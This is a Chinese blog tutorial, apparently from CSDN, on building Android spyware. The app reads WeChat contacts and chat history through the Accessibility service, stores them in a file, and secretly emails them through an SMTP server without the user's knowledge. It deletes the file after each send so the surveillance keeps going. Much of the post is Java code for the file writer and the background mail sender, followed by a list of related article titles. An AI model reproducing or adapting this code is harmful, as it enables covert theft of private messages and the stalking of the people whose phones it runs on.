1. 首先先展示一下效果图:

2. Accessibility机制

Accessibility机制之前已经介绍过了,具体可以查看Accessibility机制实现模拟点击,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,

AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();  

遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。

获取到这些信息后,我们可以暂时写入文件,以备发送。

private void write(String info){try{FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);PrintStream ps = new PrintStream(fos);ps.println(info);ps.close();}catch (Exception e) {e.printStackTrace();}}

当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51917182


2. 后台秘密发邮件

当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。

发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。

这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送。

还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。

核心代码展示如下:

                        //发送邮件MailSenderInfo mailInfo = new MailSenderInfo();mailInfo.setMailServerHost("smtp.163.com");mailInfo.setMailServerPort("25");mailInfo.setValidate(true);mailInfo.setUserName(userid);  //你的邮箱地址mailInfo.setPassword(password);//您的邮箱密码mailInfo.setFromAddress(from);mailInfo.setToAddress(to);mailInfo.setSubject(subject);mailInfo.setContent(read());//这个类主要来发送邮件SimpleMailSender sms = new SimpleMailSender();//发送文体格式sms.sendTextMail(mailInfo);

其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。

public class SimpleMailSender
{/*** 以文本格式发送邮件* @param mailInfo 待发送的邮件的信息*/public boolean sendTextMail(MailSenderInfo mailInfo){// 判断是否需要身份认证MyAuthenticator authenticator = null;Properties pro = mailInfo.getProperties();if (mailInfo.isValidate()){// 如果需要身份认证,则创建一个密码验证器authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());}// 根据邮件会话属性和密码验证器构造一个发送邮件的sessionSession sendMailSession = Session.getDefaultInstance(pro,authenticator);try{// 根据session创建一个邮件消息Message mailMessage = new MimeMessage(sendMailSession);// 创建邮件发送者地址Address from = new InternetAddress(mailInfo.getFromAddress());// 设置邮件消息的发送者mailMessage.setFrom(from);// 创建邮件的接收者地址,并设置到邮件消息中Address to = new InternetAddress(mailInfo.getToAddress());mailMessage.setRecipient(Message.RecipientType.TO,to);// 设置邮件消息的主题mailMessage.setSubject(mailInfo.getSubject());// 设置邮件消息发送的时间mailMessage.setSentDate(new Date());// 设置邮件消息的主要内容String mailContent = mailInfo.getContent();mailMessage.setText(mailContent);// 发送邮件Transport.send(mailMessage);}catch (MessagingException ex){ex.printStackTrace();}return false;}
}

MailSenderInfo类展示如下。

public class MailSenderInfo {// 发送邮件的服务器的IP和端口private String mailServerHost = Constant.SERVICE_IP;private String mailServerPort = Constant.SERVICE_PORT;//一般为25// 邮件发送者的地址private String fromAddress;// 邮件接收者的地址private String toAddress;// 登陆邮件发送服务器的用户名和密码private String userName;private String password;// 是否需要身份验证private boolean validate = true;// 邮件主题private String subject;// 邮件的文本内容private String content;/*** 获得邮件会话属性*/public Properties getProperties() {Properties p = new Properties();p.put("mail.smtp.host", this.mailServerHost);p.put("mail.smtp.port", this.mailServerPort);p.put("mail.smtp.auth", "true");return p;}public String getMailServerHost() {return mailServerHost;}public void setMailServerHost(String mailServerHost) {this.mailServerHost = mailServerHost;}public String getMailServerPort() {return mailServerPort;}public void setMailServerPort(String mailServerPort) {this.mailServerPort = mailServerPort;}public boolean isValidate() {return validate;}public void setValidate(boolean validate) {this.validate = validate;}public String getFromAddress(){return fromAddress;}public void setFromAddress(String fromAddress){this.fromAddress = fromAddress;}public String getPassword(){return password;}public void setPassword(String password){this.password = password;}public String getToAddress(){return toAddress;}public void setToAddress(String toAddress){this.toAddress = toAddress;}public String getUserName(){return userName;}public void setUserName(String userName){this.userName = userName;}public String getSubject(){return subject;}public void setSubject(String subject){this.subject = subject;}public String getContent(){return content;}public void setContent(String textContent){this.content = textContent;}
}

转载于:https://www.cnblogs.com/qitian1/p/6461615.html

Android开发——获取微信聊天记录(后台秘密发邮件)相关推荐

  1. 【逆向】【Android微信】获取微信聊天记录

    2020-02-23 晴 郑州 出场人物 沉瓶 - 产品经理 饭咸 - 程序员 工作环境 硬件:MacBook Pro (Retina, 13-inch, Early 2015) 硬件相应系统:mac ...

  2. 【个人开发】通过SQLite获取微信聊天记录

    1. 背景 本想初始化mac,但是看到微信所占内存很大,想必都是聊天记录吧.从几年前一直想提取微信聊天记录,但整不出来,再试一次. 2. 写在前面 之前都知道微信聊天记录备份的数据在本地的db文件里, ...

  3. android 获取加速度传感器值,Android开发获取传感器数据的方法示例【加速度传感器,磁场传感器,光线传感器,方向传感器】...

    本文实例讲述了Android开发获取传感器数据的方法.分享给大家供大家参考,具体如下: package mobile.android.sensor; import java.util.List; im ...

  4. android开发中磁场传感器,Android开发获取传感器数据的方法示例【加速度传感器,磁场传感器,光线传感器,方向传感器】...

    本文实例讲述了Android开发获取传感器数据的方法.分享给大家供大家参考,具体如下: package mobile.android.sensor; import java.util.List; im ...

  5. chatgpt赋能python:Python如何获取微信聊天记录

    Python如何获取微信聊天记录 作为世界上最受欢迎的即时通讯工具之一,微信被大量用户使用.然而,微信聊天记录的备份和管理是一个重要的问题,特别是对于那些需要在工作和个人生活中快速查找重要信息的人来说 ...

  6. Android获取微信聊天记录的过程详解

    开门见山 1.手机获得root的最高权限 2.了解微信本地的目录结构 3.微信本地文件的读取权限 4.微信本地数据库的破解 5.找到相应的数据库表读取 一.手机获得root的最高权限 无论怎么操作,这 ...

  7. android开发获取应用本身耗电量_别找了,Android常用自动化工具全在这儿了!

    Android常用自动化工具 ADB - 是Google提供的为Android编写UI测试用例的自动化工具, Android开发/测试人员不可替代的强大工具 uiautomator - 是Google ...

  8. Android开发获取当前经纬度和详细位置信息(原生代码实现)简单案例

    文章目录 Android定位(经纬度+当前位置信息) 申请权限 LocationManage位置管理器 完整代码 Android定位(经纬度+当前位置信息) 我相信大家在Android开发中应该都有遇 ...

  9. t微信小程序开发-获取微信运动步数

    官方API https://mp.weixin.qq.com/debug/wxadoc/dev/api/we-run.html#wxgetwerundataobject 步骤 最近做一个微信小程序需用 ...

最新文章

  1. java 编写小工具 尝试 学习(二)
  2. 【学习笔记】第一章——操作系统的系统调用(陷入指令、库函数、作用流程)
  3. 前端之BOM和DOM
  4. Flink - allowedLateness
  5. auto static 的区别
  6. if js 判断成绩等级_Java判断语句的语法和使用
  7. python vue token_Flask与Vue的token认证
  8. mysql教程datetime_Mysql中的Datetime与Timestamp不同之处
  9. 基于STM32的AT24C08数据读写
  10. 计算机怎样更新目录,怎么在word中设置自动更新目录功能
  11. Robust PCA——Inexect ALM
  12. 区块链中的交易是什么意思
  13. “加号 +” 的运算原理(详细!!!)
  14. github之处理“忒修斯之船”问题
  15. 回顾公司系统与微信绑定流程
  16. mysql统计分数段人数_mysql 按分数段,每个专业分数段统计人数
  17. 今日简报 每日精选12条新闻简报 每天一分钟 知晓天下事 4月13日
  18. SolidWorks工装 焊接 夹具 治具 检具 3D图档-350套(9.2G)
  19. 博士毕业评上副教授后,我打算直接躺平!
  20. 还在说软件测试没有中年危机?9年测试工程师惨遭淘汰

热门文章

  1. tinymce系列(一) tinymce 环境搭建
  2. java 调用c语言_Java 调用C语言JNI库(Hello World实例)
  3. cocos2dx-3.x ——2.x 到3.x变化
  4. JavaScript:使用Xpath定位网页元素(含Iframe定位)
  5. Error: rpmdb open failed 使用 yum进行安装时,出现这个错误的解决方式
  6. 使用chatgpt写6.5分作文范文
  7. 前端加载大图片的解决方案汇总
  8. 纯前端将Html导出word
  9. onbeforeunload 拿不到鼠标事件_鼠标、键盘卖不动了?这个“大学生最爱”的品牌业绩下滑后出大招了...
  10. 摩托罗拉Atrix预言了智能手机的现在和未来